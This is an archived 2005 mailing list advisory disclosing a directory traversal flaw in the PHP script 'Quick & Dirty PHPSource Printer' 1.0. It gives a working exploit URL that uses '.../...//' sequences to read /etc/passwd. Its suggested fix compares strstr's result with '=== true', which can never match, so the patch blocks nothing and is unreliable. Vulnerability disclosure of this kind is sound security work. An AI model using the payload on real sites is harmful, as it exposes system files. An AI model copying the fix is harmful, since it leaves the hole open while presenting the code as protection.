lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20050704060029.GA23169@positivism.org>
Date: Mon Jul  4 06:56:23 2005
From: seth at tautology.org (Seth Alan Woolley)
Subject: Directory traversal vulnerability in "Quick &
	Dirty PHPSource Printer" 1.0

== Vendor:
Kaf Oseo

== Product:
http://guff.szub.net/quick-dirty-phpsource-printer/

== Version:
1.0

== Vulnerability:
Filtering "../" to "" allowed use of ".../...//" to be inserted and 
changed to "../" allowing directory traversal.

== Fix:
Use the following line instead:
    $file = (strstr($file_get, '../') === true) ? '' : $file_get; // protect from site traversing

== Discoverer:
Seth Alan Woolley

== Discovery Date:
2005-07-03

== Patch Date:
2005-07-03

== Notification Date:
2005-07-03

== Disclosure Date:
2005-07-03

== Exploit:
http://sample.domain.com/source.php?file=.../...//.../...//.../...//.../...//.../...//.../...//etc/passwd

== Greets
shellsage, #wordpress

== Commentary
Free/Open Source Software ... written better because anybody could be 
looking at it and people who care about security more than their next 
paycheck did look at it.

-- 
Seth Alan Woolley [seth at positivism.org], SPAM/UCE is unauthorized
Quality Assurance Team Leader & Security Team: Source Mage GNU/linux
Linux so advanced, it may as well be magic http://www.sourcemage.org
Secretary Pacific Green Party of Oregon http://www.pacificgreens.org
Key id 00BA3AF3 = 8BE0 A72E A47E A92A 0737  F2FF 7A3F 6D3C 00BA 3AF3
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050703/14c1333a/attachment.bin

Powered by blists - more mailing lists